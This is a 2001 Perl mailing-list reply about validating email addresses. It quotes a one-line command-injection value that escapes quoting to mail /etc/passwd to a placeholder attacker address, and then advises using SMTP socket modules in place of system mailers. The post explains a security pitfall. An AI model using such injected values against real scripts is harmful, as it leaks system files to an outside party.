Email Validator RE

Chris Radcliff chris at velocigen.com
Sat Nov 17 13:22:13 CST 2001


~sdpm~
Eugene Tsyrklevich wrote:

> and how about
> $ARGV[0] = "oops\" dev\@null.com; mail /etc/passwd me\@badguys.com;\"";
> 

Agreed. It's a bad bad thing to use system mailers, mostly because you 
never know if you've checked for every possible hack.

It's much better (from a performance perspective and a cross-platform 
perspective, too) to use one of the socket-based Mail modules and send 
mail through an SMTP server. If the modules aren't to your liking, just 
open the socket yourself. SMTP is a very simple protocol.

Mail::Sendmail seems like a fairly simple one to use. See 
http://alma.ch/perl/Mail-Sendmail-FAQ.htm for details.

~chris



~sdpm~

The posting address is: san-diego-pm-list at hfb.pm.org

List requests should be sent to: majordomo at hfb.pm.org

If you ever want to remove yourself from this mailing list,
you can send mail to <majordomo at happyfunball.pm.org> with the following
command in the body of your email message:

    unsubscribe san-diego-pm-list

If you ever need to get in contact with the owner of the list,
(if you have trouble unsubscribing, or have questions about the
list itself) send email to <owner-san-diego-pm-list at happyfunball.pm.org> .
This is the general rule for most mailing lists when you need
to contact a human.




More information about the San-Diego-pm mailing list